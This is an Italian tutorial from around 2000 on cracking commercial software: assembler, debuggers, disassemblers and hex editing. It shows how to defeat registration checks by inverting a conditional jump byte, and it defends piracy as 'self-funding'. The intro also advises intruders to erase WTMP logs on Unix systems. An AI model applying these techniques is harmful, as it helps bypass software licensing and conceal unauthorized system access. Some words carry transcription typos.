Ringrazio InfectedMachine e lo staff di SyStEmDoWn per avermi permesso di inserire questo mio articolo, Xoanon per la sua guida al crack (se mi dessi anche lezioni non sarebbe male :)), pa' e ma'.
Salutoni a tutti gli amici dei canali #hackers.it #hackita e #warezitalia
senza i quali non avrei neanche saputo dell'esistenza di SystemDown.

ULTIMO AVVISO:
Non e' sempre facile trovare protezioni come quelle descritte, saranno magari il 5% o anche meno, ma ricordatevi Provate Provate Provate, puo' darsi che con l'inventiva si arrivi dove non arrivano le conoscenze.

Cavallo de Cavallis
<ratamatta@hotmail.com>

Flavio Bernardotti – Via Trento, 10 – 15040 Montecastello (Al.) Tel. 0347 5610956

Cracking & Hacking

by Flavio Bernadotti
www.bernardotti.al.it
flavio@bernadotti.al.it

Tecniche, programmi e conoscenze per il cracking dei programmi.
Teoria dell'assembler.
Teoria dei debuggers, disassemblatori ecc.
Teoria del software in rete.
Teoria activeX e librerie.
Interrupts.
Funzioni API di Windows.

L'autore mentre combatte con un sanguinario lupo.

QUESTO VOLUME NON VIOLA NESSUNA LEGGE NEPPURE MORALE.

"Questo volume, al contrario di quanto farebbe pensare il titolo, **NON VIOLA NESSUNA LEGGE** in quanto non fa riferimento a nessun programma in modo specifico. I programmi ad esempio sono stati camuffati ed è impossibile risalire all'origine. Le tabelle e gli scritti riportati sono espressamente **DI PUBBLICO DOMINIO O ANONIMI**. In ogni caso sono riprodotti nella loro forma originale compresa la lingua."

INTRODUZIONE

A 14 anni di distanza ecco quanto avevo promesso sul mio volume di programmazione in C a basso livello datato 1986.
Ho ricevuto per anni telefonate dalle persone che lo avevano letto le quali mi chiedevano a che punto era quanto avevo promesso nelle ultime pagine.
A dire il vero nel frattempo ho scritto altri volumi sulla programmazione in C in ambiente Unix, sulla programmazione in Java ma è inutile ... il volume che aveva colpito era quello destinato agli smanettoni del basso livello.
Ok.
Non è propriamente la continuazione di quello, in quanto a quei tempi il volume trattava le tecniche di scrittura dei TSR in C ma ora sotto Windows 2000 di TSR se ne parla ben poco.
In compenso il basso livello, più basso di cosi si muore, rinasce nel mondo dei crackers (non della Pavesi) i quali seguono le trame ingarbugliate dei software per autofinanziarsi irraggiungibili, in altro modo, librerie e software vari.
Un buon sistema di sviluppo costa svariati milioni.
3.000.000 circa per Developper Studio Enterprise.
800.000 per la libreria che gestisce lo strato database ecc.
900.000 per quella che gestisce le list box.
E chi sviluppa in Java o C++ sicuramente ha anche bisogno di un editor html da L. 1.000.000 ecc.
E disegni legati alla grafica dove li mettiamo ?
Altri 800.000 per un Firework.
Gli studenti e tutti coloro che non possono passare sotto il budget dell'azienda il costo del software sarebbero destinati a guardare.
Ed invece no !
La tecnica dell'autofinanziamento funziona.
Grazie a Internet ci sono migliaia di software limitati a 60 giorni o similia che sono li pronti ad accettare la sfida del crackatore folle.
Colui che produce software compra i pacchetti originali perchè è impensabile distribuire un prodotto creato con software crackati.
Chi grida all'ingiustizia per il fatto che qualche smanettone si autofornisce di software perchè non grida all'ingiustizia quando invece si spende dei milioni per trovarsi nelle mani dei software scritti da cani e destinati a cani ?
Io personalmente ho reso ricche software house americane e Federal Express comprando centinaia e centinaia di software con il solo scopo di provarli.
Un'altra cosa che spero vivamente è che il testo non vi aiuti ulteriormente a rendervi più strani, anche perché papà e mamma sono già abbastanza perplessi oggi come oggi senza che dobbiate peggiorare ulteriormente !! (Scherzo!!)
Il consiglio migliore che vi posso dare è comunque quello di mantenere un briciolo di umiltà pensando che spesso dalla parte delle protezioni esistono professionisti veramente bravi.
Questo non significa che alcuni programmi non si possono sbloccare ma solo che bisogna sempre valutare se il tempo perso vale il gioco.
Sicuramente poterete fare di qualsiasi caso una sfida e se le cose stanno così non c'è da fare neppure un'altra parola.
Se invece per sproteggere un formattatore di sorgenti C ci vuole un mese, forse è meglio che lasciate perdere e il tempo lo impiegate a riscriverlo per vostro conto.
Nel 1981 iniziai a lavorare vicino a sistemi che a quei tempi possedevano le dimensioni di una stanza.
Fare il consulente in informatica significava dover affrontare progetti legati ai settori più disparati ovvero quelli per cui i clienti ti contattavano.
Se arrivava la Fiat e necessitava del programma di controllo della qualità dovevi affermare in partenza di conoscere l'argomento e successivamente dovevi sudare sette camicie per farti una cultura sufficiente a poter risolvere il problema.
Appunto per fare questo bisognava avere il software giusto al momento giusto ed è questo il motivo delle centinaia di acquisti.

Quanti pacchi ma PACCHI in maiuscolo mi sono preso !
Allora li cosa si doveva fare ?
Milioni spesi per software che se fossero stati distribuiti gratis ci si sarebbe dovuti incazzare per aver speso 900 L per ogni floppy di supporto.
Comunque la logica di anni fa è la stessa che ho oggi.
Questo volume vuole distribuire informazioni e non software crackati.
Reperire le informazioni, anni fa, era importantissimo anche perchè verso la metà degli anni 80 i volumi erano rarissimi.
Da qui mi venne l'idea di creare un qualche cosa che potesse permettere a persone con interessi comuni di dialogare e quindi di scambiarsi le esperienze.
Per questo nacque l'idea di fondare con alcuni altri la rete FidoNet italiana.
Per circa 8 anni sono stato il secondo nodo italiano dopo quello di Giorgio Rutigliano di Potenza.
Era il 1985 e la telematica viaggiava con i suoi 300 bauds proprio all'inizio del suo cammino.
La stampa ci prese come un fatto innovativo.
In Italia non esistevano ancora sistemi telematici pubblici e gratuiti come invece in America era tempo che c'erano.
E come tutte le cose nuove venne vista anche con delle ottiche sbagliate ovvero per anni ci fu imputato di essere un covo di hackers.
Chiaramente la rete supportava la messaggistica per cui non si poteva negare che poteva essere anche usata per scambiare passwords di sistemi privati.
Non era comunque possibile eliminare il problema perchè non era possibile leggere tutti i messaggi che circolavano sulla rete stessa.
Chiaramente poi chi violava i sistemi informatici possedeva un modem e quindi utilizzava anche le BBS.
Per stare sulla rete scrissi i programmi in C denominati ITALINK (1986) che gestivano tutte le sezioni classiche di una BBS FidoNet ed in più disponevano di una sezione per le interrogazioni su basi dati.
In tutti questi anni venni a conoscenza di quella che era la realtà hacker anche se la mia visione non è quella negativa posseduta da molti anzi ....
Per me l' hacker era una persona che doveva disporre di conoscenze informatiche molto maggiori della media ed era anche logico in quanto per poter trovare i buchi dei sistemi bisognava conoscerli molto bene.
Nel 1987 partecipai anche ad una seconda rete nata in quel periodo che si supportava sul sistema di Unix UUCP.
Al giorno d'oggi con le logiche Windows per settare una rete premi due tasti e scrivi due numeri.
Settare UUCP era invece una cosa da pazzi.
Decine e decine di file con dati incrociati tra loro con centinaia di informazioni da settare.
Il file xxx conteneva i dati dei modem il cui numero doveva essere riportato nel file yyy il quale conteneva la velocità che doveva essere specificata nel file zzz e così via.
Molti crack ai sistemi furono fatti usando i bugs del sistema uucp.
In pratica conoscendo il mailer di UUCP veniva spedito un messaggio con il sorgente del file usato per creare la door il quale, una volta giunto, usando l'esecutore sempre di UUCP veniva compilato ed eseguito.
E questo era solo un esempio di fatti che comunque denotavano conoscenze molto profonde dei sistemi.
Diciamo che in ogni caso tutte le tecniche di hackeraggio sono quasi sempre basate sull'inesperienza di alcuni sistemisti.
Molti buchi sono accentuati dal fatto che molti sistemisti usano il loro accesso come root per attivare procedure atte a gestire funzioni pubbliche.
Per essere più chiari possiamo portare l'esempio dei server WEB dove i programmi di gestione HTTP vengono lanciati come processi di proprietà root.
In questo caso mediante alcuni cavalli di troia ed altre tecniche basate su problemi di FTP e del gestore delle EMAIL è possibile creare accessi non autorizzati ai sistemi.
Una delle fasi fondamentali dell'hackeraggio sta' nella capacità di eliminare tutte le tracce di accesso al sistema.

Dopo essere entrati in sistemi Unix dovrà essere cura dell'hacker quella di cancellare i file WTMP ecc. ed in particolare modo non dovranno essere usate certe procedure adatte ad uscire dal sistema hackerato.
Comunque se il super user del sistema non analizza i files di log allora non esiste nessun problema anche nel caso in cui l'hacker non faccia sparire le tracce.
Il volume di intitola hacker and cracker in quanto sono due cose differenti.
Hacker significa accedere ai sistemi remoti senza<a disporre delle autorizzazioni necessarie.
Cracker significa eliminare le protezioni e le limitazioni dei programmi commerciali distribuiti.
In ogni caso bisogna sottolineare la differenza tra hacker e imbecilli.
Il vero hacker utilizza le tecniche studiate per giungere ai suoi fini solo per aumentare il suo bagaglio culturale ed in ogni caso non per recare danni ai sistemi attaccati.
Molti hacker corretti, ovvero quelli che si attengono alla vera filosofia, spesso lasciano messaggi al sistemista avvisandolo dei buchi del suo sistema aiutandolo ad eliminarli.
Cancellare files o fare danni in generale significa solo aumentare il proprio bagaglio di demenzalità.
Quando una persona dispone di un aggressività accentuata significa che psicologicamente ha dei problemi anche perchè una persona equilibrata con se stesso non dispone di quel senso che lo fa sentire grande solo quando attacca il suo prossimo.
Usate le vostre capacità per aiutare gli altri.
Se fate cracking su qualche programma non divulgatelo in formato sprotetto in quanto fareste un danno alla casa che lo ha prodotto.
Rivoltate sempre su di voi quello che state compiendo e siate corretti a pensare se quello che state facendo vi farebbe piacere se fosse fatto a voi.
In caso negativo non fatelo in quanto certe cose aiutano solo a far salire i prezzi del software e a rompere le scatole a persone che hanno famiglie da mantenere.
Siate sempre modesti e non pensate che mettere su Internet un software con la scritta cracked by ... vi possa eleggere a ricercatori del MIT.
Ho conosciuto tanti programmatori ed analisti con sensi di superiorità pazzeschi.
In genere erano "bufaloni" che pensavano che dopo aver trovato con il debugger le parole segrete per diventare invincibili a DOOM possedevano le stesse capacità dei progettisti che hanno messo al mondo Java o similia.
Considerarvi mediocri vi permetterà di evolvervi ed in particolare modo riconoscere le infinite maggiori capacità di alcuni vi permetterà di avere dei modelli a cui ispirarsi e da raggiungere.
Io personalmente ho sempre avuto Marvin Minsky (padre dell' AI) e K & R (i padri del Linguaggio C) come miti e traguardi (per me irraggiungibili).
Considerate sempre la comunicazione tra persone con gli stessi interessi.
Questo è il metodo migliore per evolversi.
Si dice che l'uomo è l'animale più intelligente proprio perchè ha inventato il linguaggio al fine di comunicare agli altri della specie le proprie esperienze.
Dato che fare cracking o hacking su sistemi o su programmi significa sfruttare la propria intelligenza in questo volume verranno mostrate le tecniche usate ma non verrà fatto riferimento a nessun prodotto specifico.
Non verranno neppure comunicati numeri di serie e neppure passwords per accedere a sistemi remoti.
Se vi interessano soltanto quelle è meglio che le ricerchiate tramite messaggi su Internet.
Nel volume troverete nozioni teoriche legate all'uso di certi linguaggi (Assembler e C), a certi softwares quali disassemblatori e debugger, a nozionismi di rete ed ai metodi per utilizzarle tramite JAVA.
Diciamo che il volume vi indirizzerà verso il metodo migliore per passare le notti insonni.
Come vedremo per crackare i programmi si devono possedere conoscenze che spaziano in molti settori e sicuramente nei più complessi.

Questo volume vuole servire a darvi un’infarinatura d’alcune teorie e comunque vi servirà a passare di livello.
Benvenuti nel mondo del cracking “fai da te”.

Se il volume vi è piaciuto potete richiedere l’abbonamento agli altri volumi sempre scritti dal sottoscritto.
L’abbonamento vi costa L. 30.000.
Appena ricevute vi verrà inviato immediatamente un altro volume di 200 pagine sulla programmazione avanzata in Java.

BERNARDOTTI FLAVIO
VIA TRENTO, 10
15040 MONTECASTELLO (AL)
Tel. 0347 5610956

CONOSCENZE TEORICHE E PRATICHE

Un famoso detto afferma che “tutte le strade portano a Roma”.
Informaticamente parlando potremmo trasformare il tutto in “tutti i linguaggi portano all’ Assembler”.
Un ambito traguardo dell’ informatica e’ sempre stato quello di creare un linguaggio simile a quello naturale che permettesse di indicare ai computers le funzioni da svolgere parlandogli semplicemente insieme ed utilizzando per la creazione delle frasi la stessa sintassi e semantica della nostra lingua.
Il software necessario a svolgere un compito di questo tipo sarebbe stato una cosa talmente complessa e grossa che la velocità d’esecuzione dei programmi sarebbe stata impossibile.
Filosoficamente mi viene il dubbio che se si fosse giunti ad un punto simile l’uomo sarebbe diventato un deficiente a causa dell’assopimento mentale che ci sarebbe stato conseguenza a questo fatidico linguaggio.
Oggi l’uomo conquista i suoi obbiettivi massacrandosi i dieci miliardi di neuroni che ha “n’ta capa”.
Comunque non è questo luogo per fare discorsi di questo tipo.
Fortunatamente l’uomo mangia pane e pasticci per cui utilizza la sua intelligenza per crearsene ogni giorno di nuovi e più complessi.
Più diventa complesso il problema dell’interpretazione del linguaggio più diventa grosso ed impacciato il software dell’interprete o del compilatore.
Purtroppo l’elettronica è sorda o perlomeno capisce solo una sottospecie di codice morse che è il linguaggio binario.
Questo concetto è facile da comprendere visto che elettricamente lo stato logico 0 (zero) può essere rappresentato da una mancanza di segnale mentre lo stato logico 1(uno) da quello in cui il segnale è presente.
Erroneamente negli anni si è sempre considerata l’ informatica come la scienza dei computers.
L’ informatica, come dice il nome, è l’arte di analizzare il mondo intorno a noi (informazioni) ricavandone i modelli matematici composti da dati descrittivi, quantitativi e qualitativi, e da istruzioni indirizzate a manipolarli.
L’arte della programmazione nasce sempre dall’analisi dei sistemi reali.
In altre parole i sistemi vengono osservati ricavandone i dati disponibili.
Dopo averli scorporati si arriva alla fase della creazione degli algoritmi ovvero delle sequenze di operazioni che devono essere applicate ai dati per raggiungere una certa finalità.
Dalla nascita della scienza informatica i sistemi analizzati sono diventati sempre più complessi e quindi le metodologie analitiche hanno dovuto adattarsi alle sempre maggiori complicazioni concettuali.
Anche i linguaggi di programmazione, che altro non sono che i sistemi per creare i modelli eseguibili su computers, hanno dovuto adeguarsi ai cambiamenti.
Prendiamo ad esempio i linguaggi a partire dal periodo commerciale dell’informatica tralasciando la preistoria legata all’informatica eseguita su sistemi da centri di calcolo.
Il tipo d’informatica che ho appena definito parte dal 1981 anno in cui l’ IBM ha commercializzato il primo personal ovvero il PC con processore 8088 a 4.77mhz con la stupefacente quantità di memoria di 64Kbytes (non dimentichiamoci del floppy a 360 Kbytes).
Il basic era residente su ROM anche se era possibile caricarne una versione più evoluta da floppy.
Il GwBasic sembrò una cosa terrificante a confronto del Basic dato con PcDos.
N. Wirth fondatore della Borland fece la sua fortuna con il Turbo Pascal un compilatore extra veloce che stava in 64 Kbytes di disco.
La nascita della programmazione strutturata fu appunto sancita dal Turbo Pascal e dal C.
I primi esempi di programmazione object oriented furono legate all’ Eiffel fino a giungere allo Smalltalk e al C++.
Comunque tutti i sistemi alla fine dovevano essere tradotti in Assembler per poter essere eseguiti.

L’evoluzione dell’hardware portò anche all’espansione dell’Assembler dei sistemi.
Pensate che i primi processori disponevano come istruzioni solo della somma e della sottrazione per cui moltiplicazione e divisione dovevano essere eseguite grazie a sequenze di queste due e oggetti come lo stack erano inseriti, fissi, dentro ai processori stessi.
La difficile vita dell’ Hacker e’ legata a questo linguaggio anche se la conoscenza di altri linguaggi facilita il tutto in quanto la traduzione in Assembler mantiene sempre una certa forma legata al compilatore che l’ha generata.
Spesso è possibile sfruttare il compilatore per generare programmi in Assembler ed in particolare questa tecnica, che ora vedremo, è utile per togliersi dei dubbi.
Che significa togliersi dei dubbi ?
Spesso debuggando certi programmi, derivati da linguaggi ad alto livello, non si riesce a capire quali costrutti del linguaggio originale hanno originato quelle linee Assembler.
Il compilatore Visual C (il compilatore Microsoft C) ha sempre posseduto un flag che permette di generare il file in MACRO ASSEMBLER del programma in C analizzato.
Prendiamo il seguente programma, che esegue la copia di un array di 10 elementi dentro ad un altro, come esempio :

```
struct X {
      int a[10];
};

int   array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int   array_due[10];

void  copy_array(void)
{
      (*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));
}
```

Dando al compilatore il comando :

```
cl /c /Fatest.asm test.c
```

(/c = non eseguire il link /Fanome.asm = genera asm)
Ed ecco come è stato tradotto :

```
      TITLE text.c
      .386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS  SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS  ENDS
_TLS  SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS  ENDS
FLAT  GROUP _DATA, CONST, _BSS
      ASSUME      CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC      _array_uno
_DATA SEGMENT
```

```
COMM  _array_due:DWORD:0aH
_array_uno DD     01H
      DD    02H
      DD    03H
      DD    04H
      DD    05H
      DD    06H
      DD    07H
      DD    08H
      DD    09H
      DD    00H
_DATA ENDS
PUBLIC      _copy_array
_TEXT SEGMENT
_copy_array PROC NEAR
; File text.c
; Line 9
      push  ebp
      mov   ebp, esp
      push  esi
      push  edi
; Line 10
      mov   ecx, 10                             ; 0000000aH
      mov   esi, OFFSET FLAT:_array_uno
      mov   edi, OFFSET FLAT:_array_due
      rep movsd
; Line 11
      pop   edi
      pop   esi
      pop   ebp
      ret   0
_copy_array ENDP
_TEXT ENDS
END
```

Vediamo ora le conoscenze che l' hacker deve possedere per arrivare al suo traguardo.
Ricordo sempre che questa attività è una sfida all'intelligenza altrui.
Ingegneri del software studiano i metodi per codificare e nascondere certe funzioni mentre gli altri facendo dei trace, a volte allucinanti, devono ricostruire la logica altrui cercando di ricreare gli algoritmi di codifica.
Tante sono le conoscenze che bisogna possedere per non perdersi in questo labirinto.
Programmi, debuggers, Assembler, linguaggi ecc.
In questo volume cercherò di trattare tutto quello che serve anche se, come ho già detto, non si tratta di un manuale specifico di ogni argomento.
Già l'ho detto, qui lo ripeto ed in futuro lo ripeterò ancora che non troverete riferimenti a programmi specifici anche perchè il volume non si intitola "Sproteggiamo Pincopal Soft.".
Voglio che questo volume rimanga nella legalità anche se i piantagrane avranno da farci delle polemiche anche perchè sicuramente non capiranno che lo scopo del volume è quello di cercare di divulgare alcune conoscenze tecniche.
Inoltre non avrebbe alcun senso fare riferimenti precisi a programmi anche perchè gli interessi miei divergono da quelli di un altro per cui sicuramente potrebbe non esserci interesse nei confronti del software che utilizzo personalmente.
Oltre a ciò non avrebbe neppure senso fare un volume con riportate le sprotezioni di n programmi.
Per prima cosa perchè da un giorno all'altro cambiano i sistemi di gestione dei demo.
Un altro motivo è che già esiste il sito ASTALAVISTA che riporta un motore di ricerca per le parole e i sistemi di crack per cui se vi interessasse un

software per rendere effettivo un certo demo fareste sicuramente prima a collegarvi li.
In questo volume troverete nozionismi relativi a qualsiasi argomento a partire dall'assembler per giungere a Java ed ai disassemblatori.
Un cosa che fu detta relativamente al volume che scrissi 15 anni fa era che venivano riportati un numero veramente grosso di informazioni.
In questo volume, almeno come tipologia, vengono riportate ancora più notizie utili.
Ritornando al discorso relativo alla piena legalità di questo volume posso ancora dire che alcune tabelle reperite tra gli scritti tecnici sono PUBLIC DOMAIN e non provengono da volumi e manuali soggetti a Copyright.
In ogni caso alcune tabelle sono rimaste originali per due motivi.
Spesso la traduzione di scritti tecnici porta a strane interpretazioni e comunque in ogni caso trattandosi di scritti originali con la disponibilità ad essere distribuiti nella sua forma originale, non ho voluti modificarli neppure nella lingua.
Le parti in lingua originale comunque è solo relativa ad alcune liste e tabelle e non a scritti descrittivi relativi a nozionismi tecnici.
Il volume è indirizzato a persone che dispongono già di basi informatiche le quali sicuramente masticano l'inglese meglio di quanto mastichino l'italiano.
Quante volte ho imprecato per traduzioni pazzesche le quali necessitavano del reperimento dei documenti originali per riuscire a capire di cosa si parlava.
Per prima cosa diamo un occhiata ad un argomento che può sembrare banale ma che spesso è fondamentale per la riuscita dell'obbiettivo.
Quando downlodiamo un programma che possiede un sistema per il suo funzionamento limitato ad un certo periodo, sicuramente al suo interno possiede una parte che permette di registrare il software eliminandogli tutte le limitazioni iniziali.
Queste routine possono essere da molto semplici a enormemente complesse.
Moduli software commerciali destinati a questi compiti possiedono complicazioni software notevoli tra cui cryptografia del software e tante altre trovate degli ingegneri delle software house che l'hanno prodotto.
Moduli come VBOX ecc. sono comuni.
A chiunque sarà capitato di vedere in apertura programmi la dialog in cui si avvisa dei giorni ancora a disposizione del software in modalità demo e sul quale sicuramente esiste il pulsante per inserire il codice e quindi registrare il software.
Programmi come le Norton Utilities, quelli Macromedia ecc. circolano tranquillamente affidando a queste utility la sicurezza di loro stessi.
Questi moduli generalmente si attengono a queste regole che stabiliscono il flusso del software.
Quando premete il tasto registra vi compare la maschera in cui generalmente viene chiesto il nome e il codice.
Successivamente avverrà :

(Original)

A ESEGUI LA COMPARAZIONE DI QUANTO INSERITO CON I CODICI CORRETTI
B SE IL CODICE NON E' CORRETTO VAI AL PASSO D
C MOSTRA IL RINGRAZIAMENTO PER IL CODICE CORRETTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

A questo punto le nostre reingenierizzazioni del software possono seguire diverse vie.
La forma più brutale e la più semplice è quella che cambia solo il comportamento che il software tiene nel caso di non correttezza del codice.
Nella seconda riga l'originale diceva SE CORRETTO VAI A D mentre ora dice SE SCORRETTO VAI A D.

(CHANGING BYTES)

A ESEGUI LA COMPARAZIONE DEL CODICE
B SE INCORRETTO VAI A D
C MOSTRA Il RINGRAZIAMENTO E VAI A D

D   CHIUDI IL BOX E TORNA AL PROGRAMMA

Alcune volte esiste un solo numero corretto con il vostro nome inserito e quindi possedete il 99.99% delle possibilità che quello inserito non vada bene.
In questo caso potete modificare la logica in:

(reverse the condiction)

A   ESEGUI LA COMPARAZIONE Del CODICE
B   SE NON è CORRETTO NON ANDARE A D
C   MOSTRA IL RINGRAZIAMENTO E VAI A D
D   CHIUDI IL BOX E TORNA AL PROGRAMMA

Una terza tecnica è la seguente:

(One way conndictions)

A   ESEGUI LA COMPARAZIONE DEL CODICE
B   SE NON CORRETTO VAI A C
C   MOSTRA IL RINGRAZIAMENTO E VAI A D
D   CHIUDI IL BOX E TORNA AL PROGRAMMA

L'ultima metodologia.

(Tricky condictions)

A   ESEGUI LA COMPARAZIONE DEL CODICE
B   SE NON CORRETTO VAI A D
C   MOSTRA IL RINGRAZIAMENTO E VAI A D
D   CHIUDI IL BOX E TORNA AL PROGRAMMA

Voglio sottolineare che non sempre tutte le metodologie funzionano anzi: alcune volte soltanto un metodo può essere applicato.
Vediamo ora di elencare le tipologie di conoscenze e i tipi di programmi che bisogna avere e saper utilizzare.
Seguirà un elenco dei programmi con alcune descrizioni aggiuntive.

Linguaggio Assembler

La fase di debug ovvero quella in cui si segue passo a passo le istruzioni di un programma per identificarne alcuni punti legati alla protezione avviene a partire dall'assembler.
Inoltre le istruzioni che devono essere inserite per modificarne il funzionamento devono essere codificate sempre in asm.
Sono anche richieste le conoscenze relative ai sistemi operativi usati dato che molte funzioni come ad esempio la lettura e la scrittura su disco ecc. vengono spesso eseguite tramite chiamate agli interrupts del OS o mediante chiamate di sistema.
Nel caso in cui la meta sia quella di attivare programmi protetti o cose di questo tipo allora le conoscenze si limiteranno alle funzioni Bios e Dos.
Quando invece si cerca di giungere ad aprire porte in sistemi remoti allora le conoscenze devono essere anche relative ai protocolli usati dalle reti come ad esempio TCP/IP ecc.
Molte backdoor vengono aperte usando funzioni legate ai sistemi di posta elettronica inseriti al livello di sistema in OS quali Unix, VMS o similia.

Linguaggio C, Basic o Pascal

La scrittura dei programmi per eseguire le patch può essere eseguita mediante uno di questi linguaggi.

Se si cerca di aprire porte in sistemi remoti allora sarà necessario conoscere librerie di funzioni per tali linguaggi come potrebbe essere SuperTCP per la scrittura di software agganciata al protocollo TCP/IP.
Sempre con questi linguaggi è possibile scrivere i programmi di ricerca delle password per i sistemi Unix.
La conoscenza delle funzioni di libreria di alcuni linguaggi facilita la ricerca delle funzioni da utilizzare come condizioni nei breakpoint.
Se cerchiamo di identificare il punto in cui viene letta la stringa di serializzazione di un programma e questo è scritto in C, alora i breakpoint li potremo inserire utilizzando come funzioni da intercettare GetDlgItemText e simili.
Tutti i linguaggi utilizzano alla base le api di Windows per cui si potrebbe sempre cercare di intercettare quelle a basso livello.
Chiaramente si complica il tutto in qanto il nostro programma importerà le funzione xxxxx che è contenuta nella DLL yyyyyy la quale a sua volta importa e fa riferimento alla funzione GetDlgItemText che è in user32.dll.

Api di Windows ed Interrupts

Molte funzioni eseguite dai programmi sono ottenute mediante la chiamata a funzioni delle api di Windows. Supponiamo che ad un certo punto in una maschera un programma richieda un codice sicuramente (o almeno probabilmente) verrà eseguita tramite una funzione GetDlgItemText che fa appunto parte del sistema di Windows.
Molte protezioni sono agganciate ad interrupts di sistema che permettono l'accesso al disco o a porte seriali.
Al fine di intercettarli è necessario conoscere la teoria sul loro funzionamento.

Debugger e disassemblatori

L' esecuzione passo a passo del programma da colpire avviene tramite debugger.
Il più famoso nell'ambiente è sicuramente SoftIce della NuMega.
Molti debugger vengono forniti con i sistemi di sviluppo come ad esempio il Turbo Debugger della Borland o il CodeView fornito con il compilatore C fino alla versione 2.0.
WDASM è un ottimo programma e dispone di un infinità di opzioni.
Si può fare una distinzione tra debugger e disassemblatore.
Il primo visualizza e spesso permette di salvare il codice assembler anche se la sua funzione pribcipale è quella di seguire passo a passo il programma e quello di poter settare condizioni per interrompere il flusso a loro verificarsi.
Alcuni prodotti svolgono sia la funzione di disassemblatore che quella di debugger mentre altri svologono solo una funzione.
Inoltre bisogna fare, nel campo dei debuggers, anche un altra differenzazione.
Windows è un sistema multitasking per cui in un momento possono essere residenti in memoria più programmi e più DLL condivise tra questi.
Alcuni debuggers richiedono il nome del programma da debuggare e poi, dopo averlo caricato, segueno step by

step quello.
Alcune fnzioni che permettono di elencare le funzioni importate, l’heap, lo stack ecc. fanno r8iferimento a quelle specifiche del programma caricato.
Altri debugger, come SoftIce, sono di sistema per cui dispongono di possibilità elevate anche se sono più complessi da utilizzare.
SoftIce permette di debuggare drivers, devices ecc. ma il suo utilizzo è più complesso.
Le sue funzioni possiedono argomenti che servono a specificare a quale processo si riferiscono.
Ad esempio in un debugger si potrebbe settare un beakpoint in modo da fermare il programma nel caso in cui venga inviato un messaggio di WM_DESTROY.

```
=[■]======= Choose processor ======2=[↑]=
Intel 80x86 processors          : 8086
Intel 80x86 processors          : k62
Intel 80x86 processors          : p2
Intel 80x86 processors          : p3
Intel 860 processors            : 860xp
Intel 860 processors            : 860xr
Java Virtual Machine            : JAVA
MOS Technology 65xx series      : M6502
MOS Technology 65xx series      : M65C02
Motorola series                 : 6301
Motorola series                 : 6303
Motorola series                 : 6800
Motorola series                 : 68000
Motorola series                 : 6801
Motorola series                 : 68010
Motorola series                 : 68020
Motorola series                 : 68020EX
Motorola series                 : 6803
Motorola series                 : 68030
Motorola series                 : 68040
40/52
```

Se il debugger si riferisce al solo programma caricato non ci sono problemi.
Nel caso in cui ci s riferisca a tutti ni proess9i attivi nel sistema ci si dovrà prima usare una funzione che permetta di ricavare l’handle del task, del processon o della window a cui ci si vuole riferire e poi utilizzarla come argomento per il settaggio del breakpiont in modo che questo si riferisca solo al task interessato.
Le funzioni di softice permettono di visualizzare le classi, i task, gli ID dei processi, glihandle delle windows ecc.
Programmi come IDA non possiedono fyunzioni da debugger ma creano sorgenti asssembler di qualità superiore agli altri.
L’analisi fatta da IDA è elevata e i parametri per la creazione del source ASM sono tanti.
IDA inoltre gestisce molti processori e già in fase di lettura iniziale del programma riesce ad identificare i moduli associati e permette di specificare molte opzioni di analisi.
IDA possiede caratteristiche superiori per quanto riguarda la ricostruzione dei data segment sino a riuscire a identificare, in alcuni casi, strutture e oggetti riferiti appunto ai dati.
WDASM possiede un buon fattore relativo alla precisione del sorgente assembler creato ma sicuramente non ginge a qualle di IDA.
Un altro disassemblatore è SOURCER anche se con questo, per ricreare programmi Windows, bisogna seguire più passaggi.
Sourcer ha una buobna tradizione durata anni.
Personalmente lo ricordo dal 1987.
Dispone di una sola maschera in cui sono definiti i paramentri di analisi.
Ritornando a SoftIce lo riterrei soltanto un debuggere non un disassemblatore.

Viewer hex

Dopo aver identificato le modifiche da apportare a livello di istruzioni assemblate queste dovranno essere codificate in esadecimale e dovranno essere scritte dentro al programma tramite un editor esadecimale.
Facciamo un esempio pratico.
Supponiamo di avere una chiamata ad una funzione che esegua la richiesta d’inserimento del codice d’attivazione e al ritorno dalla chiamata ci sia il controllo relativo alla correttezza.
Il codice potrebbe essere :

```
E891D9F5D1        call  00404567
38FD              cmp   esi, eax          ; controlla la correttezza
```

754E jne 00404445 ; se errato salta a ....

Il codice potrebbe essere modificato invertendo le condizioni di salto ovvero :

je 00404445

Il codice operativo dovrebbe essere cambiato da 75 a 74 per cui i valori esadecimali da inserire dovrebbero diventare :

744E je 00404445

Mediante editor HEX potremmo ricercare la sequenza 754E mediante le apposite opzioni e successivamente inserire il nuovo valore.
La finestra di ricerca qui a fianco corrisponde a quella di HEX WORKSHOP ma comunque in qualsiasi editor HEX esiste la possibilità di ricercare sequenze di valori esadecimali.
Prima di eseguire le modifiche sul file prendetevi cura dei crearvi una copia di backup del file originale in modo da poterlo sostituire nuovamente nel caso in cui non funzioni più.

Analizzatori del file di registro

Molti dati legati alle licenze dei software ecc. sono memorizzati dentro al file di registro.
Per l'analisi di questi esistono diversi programmi più o meno completi.
Alcuni eseguono solo letture e scritture nel file altri invece sono in grado di tenerli sotto osservazione per vedere le modifiche che vengono apportate da certi programmi.
Nelle Norton Utilities se ne trova uno ed in ogni modo tra lo shareware ce ne sono moltissimi tra cui uno specializzato per i CRACKATORI Win-eXpose-Registry.
Alcuni programmi controllano tutte le modifiche che vengono apportate al sistema comprese scritture e cancellazioni dai file WIN.INI e SYSTEM.INI e aggiunta di programmi al file system del sistema.

File vari

Esistono diversi files che diventano utili in alcune circostanze.
Alcuni crackano i files .ZIP, altri cercano password sotto NT o Unix.
Un file essenziale in molti casi è ICOMP il quale è reperibile anche nella versione fornita con il Borland C di Install Shield.
Si tratta del compressore.
Alcuni programmi come ad esempio librerie, activeX ecc. vengono forniti compressi mediante questo compressore.
Per poter debuggare il codice è necessario decomprimere i files di libreria.
Quando viene installato un file mediante InstallShield nella directory temporanea del vostro sistema troverete i seguenti files:

_SETUP.LIB
SETUP.EXE
_SETUP.DLL
SETUP.PKG
